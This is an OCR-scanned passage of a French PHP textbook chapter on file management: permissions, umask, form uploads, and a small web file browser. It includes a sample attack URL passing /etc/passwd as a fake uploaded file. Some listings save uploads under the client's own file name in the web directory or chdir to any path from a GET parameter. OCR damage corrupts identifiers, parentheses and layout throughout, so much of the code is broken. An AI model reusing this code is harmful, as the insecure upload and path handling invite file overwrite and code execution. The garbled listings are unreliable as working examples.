retour TRUE si le fichier a bien ete supprime, FALSE dans le cas contraire. 

<?php 

if (unlink("/home/laurent/emma. jpg") { 

echo "Le fichier a ete efface"; 
} else { 

echo "Le fichier n'a pas ete detruit."; 

} 
?> 

Nous avons vu comment copier un fichier et le supprimer ; ces deux instructions que sont 
copy() et unlink () seraient amplement suffisantes pour nous permettre de deplacer un 
fichier d'un endroit a un autre si le langage PHP ne possedait pas l'instruction rename ( ) . Ainsi, 
en une seule commande, il est possible de deplacer le fichier et (ou) de le renommer. 



rename () 



Renomme et (ou) deplace un fichier ou un repertoire. 

Syntaxe boolean rename(string $ancienNom, string $nouveauNom) 
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$ancienNom Ancien nom ou ancien chemin du f ichier. 

$nouveauNom Nouveau nom ou nouvel emplacement du fichier. 

retour Si le changement de nom s'est bien deroule, l'instruction retourne TRUE, 

FALSE sinon. 

<?php 

if (rename("/home/laurent/emma.png", "/home/thomas/emma.png")) { 

echo "Le fichier a ete deplace avec succes."; 
} else { 

echo "Impossible de deplacer le fichier."; 
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rmDir() 

Supprime un repertoire a la condition que celui-ci soit vide. 

Syntaxe boolean rmDir(string $nomDossier) 

$nomDossi er Chemin d'acces du dossier a supprimer. 

retour Retourne TRUE si le dossier a bien ete supprime, FALSE sinon. 

<?php 

if (rmdir("/home/laurent/emma") { 

echo "Le dossier a ete efface"; 
} else { 

echo "Le dossier n'a pas ete detruit."; 

} 
?> 

Le langage PHP permet, bien evidemment, de creer des dossiers. Pour cela, vous disposez de 
l'instruction mkDir ( ) . Vous pourrez alors preciser les droits sur le repertoire ainsi cree. Bien 
entendu, le mode ne concerne que le systeme UNIX et non les plateformes Windows. 



mkDir () 

Cree un dossier et lui affecte un mode. 

Syntaxe boolean mkDir(string $nomDossier [, int $mode] ) 

$nomDossier Nom du dossier a creer. 

$mode Droits reclames pour le dossier a creer (inoperant sous Windows). 

retour Retourne TRUE si le dossier a bien ete cree ; a l'inverse, notamment si le 

dossier existe deja, l'instruction renvoie FALSE. 
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<?php 

if (mkDir("nouveaurepertoire",0755) { 

echo "Le dossier a ete cree."; 
} else { 

echo "Le dossier n'a pas ete cree."; 



II est probable que le dossier que vous creerez ne possedera pas exactement les droits que vous 
aurez specifies. En effet, chaque utilisateur (y compris le compte sous lequel tourne le serveur 
web) possede dans son environnement un parametre appele umask. Ce parametre definit les 
droits d'acces qui sont, par defaut, retires lors de la creation des fichiers et repertoires. 

Concernant les fichiers, les droits demandes par defaut sont 0666. Ainsi, un utilisateur qui 
possede un umask en 0000 creera par defaut des fichiers ayant les droits 0666 (0666 - 0000 en 
octal), alors qu'un utilisateur avec un umask en 0022, creera des fichiers ayant les droits 0644 
(0666 - 0022 en octal). 

Le principe est le meme pour les repertoires. Si vous specifiez des droits 0777, alors l'umask 
sera applique. S'il est a 0022, les droits effectifs du repertoire seront 0755 (0777 - 0022 en octal). 

Si vous voulez creer des dossiers dans un mode particulier, vous serez peut-etre amene a utiliser 
la fonction umask ( ) qui permet de modifier l'umask pendant la duree de l'execution du script 
(si PHP est compile en module ou, au-dela, s'il est execute en CGI). 



Pour plus d 'informations sur la compilation de PHP, reportez-vous au chapitre "Prise 
en main". 




RENVOI 



umaskQ (inoperant sous Windows) 



Change (ou retourne) la valeur de l'umask. 

Syntaxe int umask([int $nouvMask]) 

$nouvMask Nouvel umask. 

retour Retourne la valeur precedente de l'umask (0 sous Windows). 

<?php 

// Modification de l'umask 

$ancienUmask = umask(0022) ; 

if (mkdir("/home/laurent/emma",0777) { 

echo "Le dossier possede le mode 755."; 
} else { 

echo "Le dossier n'a pas ete cree."; 

} 

// reinitailisation de l'umask dans sa valeur initiale. 

umask($ancienl)mask) ; 

?> 
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Modification des permissions 

Lorsque vous desirez installer un logiciel, il est probable que, dans les notes d'installation, Ton 
vous demande de modifier les permissions de certains repertoires et fichiers en 777 ; cela pour 
la raison suivante : 

generalement, vous placez les fichiers sur le serveur a l'aide d'un client FTP. Ceux-ci 
appartiennent alors au compte et au groupe utilises lors de 1'acces FTP. Les permissions sont 
done limitees a l'utilisateur du compte FTP. De ce fait, le serveur HTTP (qui tourne en general 
sous un autre utilisateur, qui peut etre, par exemple, apache ou nobody) n'a pas les droits 
d'acces sur ces fichiers. Le serveur ne peut alors pas ecrire dans les repertoires ou les fichiers. 
La solution de facilite est done de modifier les permissions sur les fichiers que le serveur est 
cense retoucher en donnant les droits en lecture, ecriture et execution a tous (0777). 

Cela est aussi valable dans le sens inverse. Le serveur web peut creer des fichiers que 
l'utilisateur ne peut ensuite modifier, car il ne possede pas les droits d'ecriture sur ledit fichier. 

Le langage PHP permet la modification des proprietaries des fichiers et des repertoires, ainsi 
que la gestion de leurs droits. II s'agit tout simplement des equivalents des commandes chmod, 
chown et chgrp disponibles sous Linux. 

Attention, la modification des droits sur les fichiers suppose que le serveur HTTP possede les 
permissions necessaires a cette modification. En regie generale, l'utilisateur qui effectue les 
changements est l'utilisateur proprietaire des fichiers ou fait partie du groupe proprietaire. 



chmod () (inoperant sous Windows) 

Modifie les permissions de lecture, d'ecriture et d'execution d'un fichier. 

Syntaxe boolean chmod (string $nomFichier, int $mode) 

$nomFichier Chemin d'acces au fichier a modifier. 

$mode Indique en octal le nouveau mode (ex. : 0755). 

retour TRUE si le changement de mode se deroule sans probleme (et sous 

Windows), FALSE sinon. 

II est, la aussi, conseille de placer un zero devant le mode afin de preciser que celui-ci est donne 
en octal et non en decimal. 

<?php 

if (chmod ("emma.txt", 0755)) { 

echo "Le changement de permission est un succes."; 
} else { 

echo "Echec dans le changement de permission."; 
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chown() (inoperant sous Windows) 

Change le proprietaire du fichier. 

Syntaxe boolean chown (string $nomFichier, mixed $util isateur) 

$nomFichier Nom du fichier a modifier. 

$util isateur L'utilisateur a qui l'on veut donner les droits. Peut etre precise soit par son 

UID (identifiant d'utilisateur) soit par son login (nom d'utilisateur). 

retour TRUE si la modification a bien ete effectuee (ou sous Windows), FALSE 

dans le cas contraire. 

<?php 

if (chown("fichier.txt", "damien")) { 

echo "Le changement d'utilisateur est un succes."; 
} else { 

echo "Echec dans le changement d'utilisateur."; 

} 
?> 



chgrp() (inoperant sous Windows) 

Change le groupe proprietaire du fichier. 

Syntaxe boolean chgrp (string $nomFichier, mixed $groupe) 

$nomFichier Nom du fichier a modifier. 

$groupe Le groupe a qui Ton veut donner les droits. Peut etre precise soit par son 

GID (identifiant de groupe) soit par son nom. 

retour TRUE si la modification du groupe a ete effectuee avec succes, FALSE dans 

le cas contraire (et sous Windows). 

<?php 

if (chgrp("fichier.txt", "invite")) { 

echo "Le changement de groupe est un succes."; 
} else { 

echo "Echec dans le changement du groupe."; 

} 
?> 



Upload de fichiers 



Le terme upload designe Taction de transferer, vers un serveur distant, un fichier qui se situe en 
local (sur le poste du client). L'upload de fichiers a l'aide d'un formulaire HTML n'est possible 
que depuis la version 1.1 de la norme HTTP. Le navigateur peut, a l'aide d'une methode post, 
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expedier un fichier sur le serveur dans un repertoire temporaire, qu'il soit d'un format texte ou 
binaire. Le code HTML permettant cette action est de la forme : 

Listing 9.18 : upload_form.html 

<html> 
<head> 

<title>Upload de fichiers</title> 
</head> 
<body> 

<form action="upload.php" enctype="multi part/form-data" method="post"> 

<input type="hidden" name="MAX_FILE_SIZE" value="1024" /> 

Uploader le fichier : <input name="fichier" type="file" /xbr /> 

<input type="submit" value="Go >>"> 

</form> 
</body> 
</html> 

Ce formulaire contient deux balises particulierement importantes : 

La balise <form> avec l'attribut enctype="multipart/form-data" indique au 

navigateur la facon dont les donnees seront envoyees (done ici, sous forme de donnees 
brutes), alors que la valeur par defaut est application/x-www-form-urlencoded. 
L'envoi de fichiers ne peut se faire qu'avec la methode post, d'ou la presence de l'attribut 

method= "post " . 

La balise <input> avec l'attribut type= " file " . Cette balise se traduit par la presence, sur 
le formulaire, d'un bouton permettant la selection du fichier (sur le poste client). 

II est egalement conseille de specifier une balise supplemental contenant un champ cache qui 
precise la taille maximale (en octets) des fichiers a transferer. <input type= "hidden" 
name="MAx_FiLE_sizE" value="i024" /> (ici, pour des fichiers de 1 Ko au maximum). 



Ally a toujours un risque de casse 
Prenez garde : le nom du champ max_file_size doit obligatoirement etre en 
ATTENTION majuscules. 

Lorsqu'un tel formulaire est "soumis", le client envoie plusieurs lignes supplementaires dans 
l'en-tete HTTP. Habituellement, pour des donnees classiques, e'est-a-dire qui ne sont pas des 
upload de fichier, le navigateur ajoute une ligne Content-Disposition: form-data; 
name="leNomDuChamp" suivie d'un retour chariot et de la valeur du champ. Pour chaque 
champ de type fichier, le navigateur ajoute une ligne d'en-tete Content-Disposition: 

form-data; name="leNomDuChamp" ; f ilename="monFichier . gif " Suivie d'un retour 

chariot, d'une ligne decrivant le contenu du fichier Content-Type : image/gif et, a nouveau, 
d'un retour chariot et, enfin, du contenu du fichier a envoyer sur le serveur. 

Au final, le fichier est receptionne dans un repertoire temporaire du serveur. Notez que le nom 
du fichier dans ce repertoire est independant du nom du fichier que l'utilisateur a transmis. En 
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effet, le fichier porte lui-meme un nom temporaire. II vous faudra alors renommer et deplacer 
le fichier dans un lieu sur (a moins que vous ne souhaitiez seulement le consulter, et non pas le 
conserver). 



A 



ATTENTION 



Tattle maximale du fichier 

L'ajout du champ cache max_file_size n'est en Hen une garantie que des fichiers 
de plus petite taille puissent etre envoyes sur le serveur. En effet, la taille des fichiers 
uploades est limitee par differents autres parametres. La limite peut etre imposee par 
PHP via I'option upload_max_filesize (par defaut 2 Mo) du fichier php.ini et, 
eventuellement, par le serveur web lui-meme. 

De plus, il faut noter que la presence du champ max_file_size dans le formulaire 
que vous mettez a disposition n'interdit en rien un utilisateur d'utiliser son propre 
formulaire (sans se fixer de limitation dans la taille du fichier uploade). II est done 
necessaire de ne pas trop s'appuyer sur ce parametre HTML, et de toujours verifier 
dans votre programme que le fichier en question ne depasse pas la taille autorisee. 



Le script PHP appele par le formulaire (ici upload.php) dispose alors de plusieurs entrees dans 
la variable globale $_files de type tableau associatif (anciennement $http_post_files ou 
$_post). Ce tableau contient une cle portant le nom specifie dans la balise <input 
type="fiie"> (ici $_files [ "fichier" ]). Ace moment-la, la valeur associee est un tableau, 
lui aussi associatif, contenant les cles presentees dans le tableau suivant : 

Tableau 9.2 : Les differentes "cles" de la variable d'environnement $_FILES dans le cas ou 
"fichier" est le nom du champ "file" du formulaire 



$_FILES 

$_FILES [ " fichier " ] [ " tmp_name " ] 



Description 

Contient le nom temporaire (sur le serveur) du 
fichier qui a ete transmis par le formulaire. 



$_FILES [ ' 


' fichier" ] [ ' 


'name" ] 


Contient le nom du fichier tel qu'il existe sur le 
disque du client. 


$_FILES [ ' 


' fichier" ] [ ' 


' size" ] 


Contient la taille en octets du fichier transmis. 


$_FILES [ ' 


' fichier" ] [ ' 


'type" ] 


Contient le type MIME du fichier. 



REMARQUE 



register _global 

Comme cela a ete evoque a de nombreuses reprises concernant d'autres variables 
externes, si votre fichier php.ini precise register _global=on, alors 
$_files[ "fichier" ] est directement accessible via la variable $ fichier. II est 
cependant fortement deconseille de positionner register_global a on (comme 
precise dans le chapitre sur les variables externes). 



Le langage PHP permet ensuite, a 1'aide de quelques fonctions, de manipuler ce fichier tres 
simplement. 
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La premiere etape peut consister en un appel a la fonction is_uploaded_f ile ( ) . L'objectif 
est alors double. II s'agit de verifier si 1'upload du fichier s'est bien deroule (presence effective 
d'un fichier portant le nom indique), mais egalement de verifier si le fichier passe en parametre 
est bien un fichier qui a ete telecharge. Cette derniere verification est tres importante. II est en 
effet imaginable qu'un hacker puisse tromper le script, en lui faisant croire qu'un fichier a ete 
uploade dans un repertoire donne sous un nom correspondant a un fichier vital de votre 
systeme. Les traitements operes par le script s'effectueraient alors non pas sur un fichier 
transfere lambda, mais sur ce fichier systeme. Le risque est evident si vous avez opte pour une 
configuration avec register_globals=on (ce qui etait la configuration par defaut avant PHP 
4.2.0) et que les parametres get sont rendus globaux apres les parametres post (ce qui n'est pas 
la configuration par defaut). Dans ce cas, il suffirait d'appeler le script de la facpn suivante : 
upload.php?fichier[tmp_name]=/etc/passwd pour lui faire croire que le fichier telecharge 
s'appelle /etc/passwd. Meme si le cas evoque ici n'est pas tres realiste, dans la mesure oil il 
resulte d'une modification aberrante du fichier de configuration, il n'est pas a exclure que 
d'autre moyens d'obtenir ce resultat sont envisageables. Prudence etant mere de surete, vous 
savez ce qu'il vous reste a faire... 



is_uploaded_file() 

Indique si le fichier est un fichier telecharge via un formulaire HTTP de type post. 

Syntaxe boolean is_uploaded_file(string $nomFichier) 

$nomFichier Chemin complet vers le fichier. 

retour TRUE si le fichier est un fichier telecharge par formulaire, FALSE dans le 

cas contraire. 

Pour mettre en evidence l'utilisation de la fonction is_uploaded_file( ) et le contenu du 
tableau $_file, nous utiliserons un script contenant un formulaire et qui s'appellera lui-meme 
afin de donner les informations sur le fichier uploade. 

Listing 9.19 : isuploadedfile.php 

<?php 

// Verifions que le tableau $_P0ST existe avant de l'utiliser 

if ($_P0ST){ 

// Verifions que le formulaire a ete valide 

if ($_POST["envoyer"]) 

{ 

if (i s_upl oaded_f i 1 e($_FI LES ["f i chi er"] [" tmpjname"] ) ) 

{ 

echo "Le fichier ".$_FILES["fichier"] ["name"] . 

" a bien ete telecharge. <br />"; 
echo "II fait ".$_FILES["fichier"] ["size"] ." et est de type ". 
$_FILES["fichier"]["type"]."<br />"; 
} else { 

echo "Le fichier ".$_FILES["fichier"] ["name"] . 
" n'a pas ete telecharge<br />". 
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"Peut-etre depassait-il la limite des lKo<br />". 
"A moins que vous n'ayez essaye de truander"; 



?> 

<html> 
<head> 

<ti tl e>i s_upl oaded_f i 1 e</ti tl e> 
</head> 
<body> 

<form enctype="multipart/form-data" method="post"> 

<input type="hidden" name="MAX_FILE_SIZE" value="1024"> 
Telecharger le fichier : 
<input name="fichier" type="file"> 
<input name="envoyer" type="submit" value="Envoyer"> 
</form> 
</body> 
</html> 

Une fois cette verification effectuee, il ne reste plus qu'a deplacer ce fichier vers le dossier de 
travail, afin de ne pas le laisser sur le repertoire temporaire ou il serait detruit a plus ou moins 
long terme. 

Pour deplacer un fichier, il existe deux methodes. Soit vous deplacez le fichier de fac,on 
classique a l'aide de l'instruction move ( ) , soit vous deplacez le fichier a l'aide de la fonction 
move_uploaded_f ile ( ) . Dans ce dernier cas, vous n'avez pas besoin d'utiliser 
is_upioaded_f ile ( ) . En effet, move_uploaded_f ile ( ) se charge de verifier si la source est 
bien un fichier telecharge a l'aide d'un formulaire. 



move_uploaded_file () 



Deplace un fichier telecharge depuis le repertoire temporaire vers un dossier de destination. 

Syntaxe boolean move_uploaded_file(string $nomFichier, string 

$desti nation) 

$nomFichier Nom temporaire du fichier a deplacer. 

$desti nation Fichier de destination. 

retour TRUE si le fichier est bien un fichier uploade et a bien ete deplace, FALSE 

s'il y a une erreur quelconque. 

II est alors possible d'ecrire le script suivant, charge de copier le fichier uploade dans le 
repertoire d'execution du script, et de lister le contenu de ce meme repertoire. Ce script pourra 
etre appele par le formulaire upload_form.html presente au debut de ce chapitre. 
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Listing 9.20 : upload.php 

<?php 

// Displacement du fichier du repertoire temporal re 

// vers le repertoire courant d'ou est execute le script. 

if (move_uploaded_file($_FILES ["fichier"] ["tmp_name"] , 

"./".$ _FILES["fichier"]["name"])) 

{ 

// Le fichier est deplace 

// Affichage de la liste des fichiers du repertoire 
$repertoire = opendir("./") ; 
while ($fichier = readdir($repertoire)) { 
echo $fichier."<br />"; 

} 
closedir($repertoire) ; 



La difficulte que nous avons occultee ici est celle qui consiste a donner un nom unique au 
fichier. En effet, stocker le fichier sous le nom qu'il porte sur le poste client (comme cela est le 
cas dans l'exemple precedent) n'est generalement pas satisfaisant. Si deux utilisateurs 
"uploadent" un fichier emma.jpg et que ce fichier est copie dans le meme repertoire, alors le 
fichier du premier sera ecrase par celui du second. Mais la strategic a mettre en place depend 
fortement du resultat que vous souhaitez obtenir. II est envisageable de stocker le fichier sous 
le nom initial s'il est copie dans un repertoire propre a chaque utilisateur. II est egalement 
possible de copier le fichier sous un nom incluant l'identifiant (unique) de l'utilisateur (si ce 
dernier doit s'identifier pour acceder au site). 

Mais il est aussi possible d'uploader plusieurs fichiers a partir d'un unique formulaire. II suffira, 
dans ce cas, de donner un nom distinct pour chaque champ de type file, ou bien de leur 
donner un nom de tableau (i.e. un nom termine par []). 

Listing 9.21 : uploadmulti_form.html 

<html> 
<head> 

<title>Upload de plusieurs fichiers</title> 
</head> 
<body> 

<form action="uploadmulti .php" enctype="multipart/form-data" 
method="post"> 
Uploader les fichiers suivants : <br /> 
Fichier : <input name="fichier[] " type="file" /xbr /> 
Fichier 1 : <input name="fichier[] " type="file" /xbr /> 
Fichier 2 : <input name="fichier[] " type="file" /xbr /> 
<input name="envoyer" type="submit" value="Envoyer"> 
</form> 
</body> 
</html> 







CO 




^*» 










-^ 


o 


I - 


CD< 


^S" 


n> 


•a 

CD 


S' 


CO 
CD 


^i 


CO 


CO 


o_ 


CD 








o 


CD 


a. 


= 


CO 


CD 


a. 




CO 


CD 
CO 



537 



CO 






CD 


CO 




■o 


CD 


CO 


t= 


■a 


CD 


o 








CD 


'o 


to 


CO 


*^ 


CD 


1— 


CD 

a. 


S3) 


CD 


CO 


c 


'CD 


_l 




^ 


cri 







Chapitre 9 La gestion des fichiers et des repertoires 



Dans ce cas, chaque element du tableau associatif variable $_file [ " f ichier " ] est un tableau 
indexe. II ne vous reste plus qu'a recuperer les fichiers en utilisant la methode suivante : 

Listing 9.22 : uploadmulti.php 

<?php 

// De-placement des fichiers du repertoire temporal' re 

// vers le repertoire courant d'oii est execute le script. 

for ($i=0; $i<count($_FILES["fichier"] ["tmp_name"]) ; $i++) 

{ 

move_uploaded_file($_FILES["fichier"] ["tmpjiame"] [$i] , 
"./".$_FILES["fichier"]["name"][$i]); 
} 

// Affichage de la liste des fichiers du repertoire 
$repertoire = openDir(".") ; 
while ($fichier = readDir($repertoire)) { 
echo $fichier."<br />"; 



closeDir($ repertoire) ; 



?> 



Encore plus de fonctions d'acces au systeme de fichiers du 
serveur 

Modification de l'environnement 

Bien souvent, lorsque vous developpez une application, le probleme est de connaitre le chemin 
du repertoire ou s'execute le programme. La commande getcwdO permet de recuperer le 
chemin du repertoire de travail. 



getcwdO 

Retourne le chemin du repertoire de travail. 

Syntaxe string getcwd(void) 

retour Chemin du repertoire de travail ou est execute le script. 

<?php 

echo "Le dossier de travail est : ".getcwdO; 

echo "<br />"; 

echo "Le script est : " .$_SERVER["SCRIPT_FILENAME"] ; 

?> 
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Et, puisque Ton peut recuperer le repertoire de travail, il peut etre tout aussi interessant de 
preciser ce repertoire au cours de l'execution du programme. La commande chdir ( ) permet 
de specifier le dossier de travail pendant la duree de l'execution du script. 



chdir () 

Modification du dossier de travail. 

Syntaxe boolean chdir (string $repertoire) 

$repertoi re Nouveau repertoire de travail, 

retour TRUE en cas de succes, FALSE sinon. 

<?php 

if (chdir ( "/home/1 aurent/emma")) 

{ 

echo "Changement de repertoire effectue avec succes."; 
}else{ 

echo "Probleme lors du changement de repertoire.<br />"; 

echo "Veillez verifier les droits d'acces au dossier."; 



Meme si l'utilisation de ces fonctions n'est pas necessaire pour parvenir a ce resultat, nous 
pouvons les utiliser pour commencer a constituer notre explorateur de fichiers, qui s'appuiera 
sur la fonction explorer ( ) developpee lors de la presentation de la fonction readDir ( ) . 

Listing 9.23 : gestionnaire_fichiers_01_inc.php (sans la fonction explorer) 

<?php 

function listRepertoire() 

{ 

// Recuperation du chemin courant 

SrepCourant = getcwd(); 

$fichiers = explorer(".") ; 

// Nous ajouterons ".." (qui a ete filtre par la fonction) 
if (SrepCourant != "/") $fichiers = merge(array ("..") , $fichiers); 
?> 

<table border="l" width="100%"> 
<tr> 

<tdxfont color="#cc0000"> 
<?php echo SrepCourant; ?> 
</font> 
</td> 
</tr> 
</table> 
<table border="0" width="100%"> 

for ($i=0; $i<count($fichiers) ; $i++) 
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{ 

<tr> 
<td> 



<?php 



?> 



<?php 



// Le fichier est-il un repertoire ? 

if (is_dir($fichiers[$i])) 

{ 

/* 

Le fichier est un repertoire 

On affiche alors un lien qui va nous permettre 

de visualiser le contenu de ce dossier 

7 

<a href="?repertoire=<?php echo $repCourant."/"-^f"' c hi ers [Si] ;?>"> 

<?php echo $fichiers[$i] ;?> 

</a> 

}else{ 

/* 

Le fichier n'est pas un repertoire 

On affiche simplement le nom du fichier 

7 

echo $fichiers[$i] ; 
} 



?> 



</td> 

</tr> 
<?php 

} 
?> 

echo "</table>"; 



Le programme principal sera alors (pour l'mstant) : 

Listing 9.24 : gestionnaire_fichier_01.php 

<?php 
include("gestionnaire_fichier_01_inc.php") ; 

// Verifie si "repertoire" est passe en parametre. 
if ($_GET["repertoire"]) 

{ 

if (!@chdir($_GET[" repertoire"])) 

{ 

echo "Le changement de repertoire a echoue. 1 

} 
} 
1 isteRepertoire(".") ; 
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ATTENTION 



Securite du systeme 

Maintenant que Vutilisateur peut se deplacer simplement dans la liste des repertoires, 
il est important de rendre inaccessibles certains dossiers contenant des informations 
que vous ne voulez pas rendre publiques. Modifier les droits d'acces du serveur web 
sur les repertoires en question permet d'interdire le changement de dossier de travail. 
Exemple : rwxrw utilisateur apache 



Statistiques sur les fichiers 
Chemin d'acces aux fichiers 

Avant d'ouvrir un fichier, il est utile, voire necessaire, de connaitre certaines informations 
concernant son chemin d'acces, son nom, etc. Le langage PHP possede quelques instructions 
pouvant etre tres pratiques pour recuperer ces informations. 

II est simple de recuperer le nom d'un fichier (sans le chemin) a l'aide de l'instruction 

basename ( ) . 



basename() 



Extrait d'une chaine de caracteres la partie correspondant au nom du fichier. 

Syntaxe string basename(string $cheminFichier [, string $suffixe]^ 

$chemi nFi chi er Chemin d'un fichier (qui n'a pas besoin d'exister). 

$suf f i xe Ce parametre optionnel indique s'il faut supprimer le suffixe. 

retour Retourne le nom du fichier. 
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<?php 

$image= "/home/1 aurent/emma . png" ; 

// Affichage de emma.png 

echo basename($image) ; 

echo "<br />"; 

// Affichage de emma 

echo basename($image, "png"); 

?> 

emma . png 

emma 

Pour aller dans le meme sens que basename ( ) , on va maintenant etudier l'instruction 
dirname ( ) qui retourne le chemin du repertoire contenant un fichier. 



dirname() 

Extrait d'une chaine de caracteres la partie correspondant au chemin. 

Syntaxe string dirname(string $cheminFichier) 

$chemi nFi chi er Chemin d'un fichier (qui n'a pas besoin d'exister). 
retour Retourne le chemin du dossier contenant le fichier. 

<?php 

$image= "/home/1 aurent/emma. png"; 

// Affichage de /home/1 aurent 

echo basename($image) ; 

?> 

/home/1 aurent 

Une fonction permet egalement de recuperer toutes ces informations en une seule fois. 
L'instruction pathinf o ( ) retourne un tableau contenant les differents renseignements sur un 
chemin de fichier. 



pathlnfoQ 



Extrait d'une chaine de caracteres les parties correspondant au chemin, au nom du fichier 
(extension incluse) et a 1'extension. 

Syntaxe array pathlnfo (string $cheminFichier) 

$chemi nFi chi er Chemin d'un fichier (qui n'a pas besoin d'exister). 

retour Tableau associatif contenant les cles : 

"dirname" associee au nom du repertoire. 
"basename" associee au nom du fichier. 
"extension" associee a 1'extension du fichier. 
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<?php 

$infoChemin = pathlnfo ( "/home/1 aurent/emma. png") ; 
while (list ($key, $val) = each ($infoChemin)) { 
echo "$key = $val<br />"; 

} 

?> 

dirname = /home/1 aurent 

basename = emma.png 

extension = png 

Grace a la fonction realPath ( ) , il est possible d'obtenir le chemin absolu d'un fichier a partir 
de son chemin relatif. 



realPath () 

Retourne le chemin absolu d'un fichier. 

Syntaxe string real Path (string $cheminFichier) 

$chemi nFi chi er Chemin d'un fichier. 
retour Chemin absolu du fichier. 

<?php 

echo real path (". ./. ./info.php") ; 

echo "<br />"; 

echo realpath("bonzour. jpg") ; 

?> 

/home/e-smi th/f i 1 es/i bay s/kangouroo/html /i nf o . php 

/home/e-smi th/f i 1 es/i bay s/kangouroo/html /bible/f ichi er/bonzour . j pg 

Nature du fichier 

Une serie de fonctions vous permet de verifier la nature du fichier ou du repertoire, a savoir : 

is_dir { ) , is_executable ( ) , is_f ile ( ) , is_link ( ) , is_readable ( ) , is_writable ( ) (ou 
son alias is_writeable) et is_uploaded_f ile ( ) . 
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is_dir() 



Indique si le fichier passe en parametre est un repertoire ou non. 

Syntaxe boolean is_dir (string $nomFichier) 

$nomFichier Chemin du fichier. 

retour TRUE si le fichier est un repertoire, FALSE dans le cas contraire. 
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<?php 

if (is_dir("indetermine")) 

{ 

echo "OUUIII, je suis un repertoire !"; 
}else{ 

echo "Ben non je suis autre chose, snif !"; 



isjBleO 



Indique si le fichier est un fichier classique. 

Syntaxe boolean is_file(string $nomFichier) 

$nomFichier Chemin du fichier. 

retour TRUE si le fichier est un fichier classique, FALSE dans le cas contraire. 

<?php 

if (is_file("indetermine")) 

{ 

echo "Je suis bien un fichier !"; 
}else{ 

echo "C'est pas encore ga, je ne suis pas un fichier."; 

} 
?> 



is_link() (inoperant sous Windows) 



Indique si le fichier est un lien symbolique ou non. 

Syntaxe boolean is_l ink(string $nomFichier) 

$nomFichier Chemin du fichier. 

retour TRUE si le fichier est un lien symbolique, FALSE dans le cas. 

<?php 

if (is_l ink("indetermine")) 

{ 

echo "C'est ga ! Je suis un lien symbolique."; 
}else{ 

echo "Ben, toujours pas :o(."; 

} 

?> 

Vous pouvez aussi remplacer ces precedentes fonctions par une autre bien pratique : la 
fonction f ileType ( ) renvoie une chaine de caracteres indiquant le type du fichier. 
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filetype () 

Retourne une chaine indiquant le type du fichier passe en parametre. 

Syntaxe string filetype (string $nomFichier) 

$nomFi chi er Chemin du fichier. 

retour Retourne le type du fichier a savoir : 

"fifo". 
"char". 

"dir" s'il s'agit d'un repertoire, 
"block". 

"link" s'il s'agit d'un lien symbolique. 
"f i le" s'il s'agit d'un veritable fichier. 
"unknown" dans le cas ou le type de "fichier" est inconnu. 

<?php 

echo filetype ("monfichier.txt") ; 

?> 

Droits sur les fichiers 

Differentes fonctions permettent egalement de tester les droits sur les fichiers. Dans les cas 
suivants, les droits sont testes par rapport a l'utilisateur et au groupe executant le script. Ce sera la 
plupart du temps l'utilisateur du serveur HTTP (generalement apache ou nobody, par exemple, 
dans le cas d'un serveur Apache). Ces fonctions sont tres interessantes si vous voulez developper 
une installation automatique d'une de vos applications, a la maniere de SPIP par exemple (voir les 
annexes pour l'installation de SPIP). Votre installation devant creer ou retoucher un fichier de 
configuration, il peut etre utile de verifier si celui-ci est accessible en ecriture par votre script. Si 
c'est le cas, vous executez l'installation, sinon vous envoyez des informations a l'utilisateur 
indiquant pas a pas ce qu'il doit faire pour que le script puisse etre lance. 
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is_readable() 



Indique si le fichier est accessible en lecture. 

Syntaxe boolean is_readable(string $nomFichier) 

$nomFichier Chemin du fichier. 

retour TRUE si le fichier est accessible en lecture, FALSE dans le cas contraire. 

<?php 

if (is_readable( "monfichier.txt")) 

{ 

echo "Je suis un livre ouvert."; 
}else{ 

echo "Vous ne regarderez pas en moi."; 

} 
?> 
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is_writable() 



Indique si le fichier est accessible en ecriture. 

Syntaxe boolean is_writable(string $nomFichier) 

$nomFichier Chemin du fichier. 

retour TRUE si le fichier est accessible en ecriture, FALSE dans le cas contraire. 

<?php 

if (is_wri table ("monfichier.txt")) 

{ 

echo "Vous pouvez me modifier sans probleme."; 
}else{ 

echo "Ne me touchez pas !"; 

} 
?> 

Vous pouvez egalement utiliser la fonction is_writeabie( ) qui est un alias de 

is_writable ( ) . 



is_executable() 



Indique si le fichier est executable ou non. 

Syntaxe boolean is_executable (string $nomFichier) 

$nomFichier Chemin du fichier. 

retour TRUE si le fichier est executable, FALSE dans le cas contraire. 

<?php 

if (is_executable("monf ichier.txt")) 

{ 

echo "Je marche avec vous."; 
}else{ 

echo "Vous pouvez toujours rever pour m'executer !"; 

} 
?> 

Existence et taille des fichiers 

Le langage PHP possede une instruction simple pour verifier l'existence ou non d'un fichier. II 
est souhaitable de tester si ce fichier est bien a l'endroit ou il devrait etre avant de lui appliquer 
une ou plusieurs fonctions de statistiques ; c'est ce que permet la fonction f ile_exists ( ) . 
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file_exists() 



Permet de verifier qu'un fichier existe bien. 

Syntaxe boolean file_exists (string $nomFichier) 

$nomFichier Chemin du fichier a tester. 

retour TRUE si le fichier est bien present, FALSE s'il n'existe pas ou si une erreur 

s'est produite. 

<?php 

if (file_exists("emma.png")==TRUE) 

{ 

echo "Le fichier emma.png est bien present sur le disque."; 
} else { 

echo "Le fichier emma.png n'existe pas."; 

} 
?> 

Pour continuer notre chemin et completer notre petit gestionnaire de fichiers en ligne, nous 
devons egalement recuperer la taille du fichier. La fonction qui va nous permettre de realiser 
cela est fileSizeO . 
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fileSizeO 



Recupere la taille du fichier passe en parametre en octets. 

Syntaxe int fileSize (string $nomFichier) 

$nomFichier Chemin du fichier. 

retour Retourne la taille du fichier en octets. 

Ceci nous permet de creer une nouvelle fonction chargee de recuperer la taille du fichier et de 
l'afficher dans un format adapte (i.e. Ko, Mo, etc. selon les cas). 

Listing 9.25 : gestionnaire_fichier_02_inc.php (extrait) 

<?php 

function tailleFichier($ fichier) 

{ 

// calculs des taux de conversion entre Ko, 
// Mo et octet 
$Ko = pow(2, 10); 
$Mo = pow(2, 20); 

// recupere la taille du fichier en octets 
$tai lie = fileSize ($fichier) ; 



547 



Chapitre 9 La gestion des fichiers et des repertoires 



CO 






CD 


CO 




■o 


<D 




t= 


■a 


CD 










cu 


o 


CO 


CO 


*^ 




1— 


CD 

C3. 


CD 


CU 


CO 


..cr 


'CD 


_l 




^ 


en 







} 

?> 



// Pas de conversion 
if ($taille<$Ko){ 

$tailleDef = $taille; 
// Conversion en Ko 
} elseif ($taille>=$Ko && $taille<$Mo) 

$tailleDef = round($taille/$Ko, 1). 
// Conversion en Mo 
} else { 

$tailleDef = round($taille/$Mo, 1) . 

} 

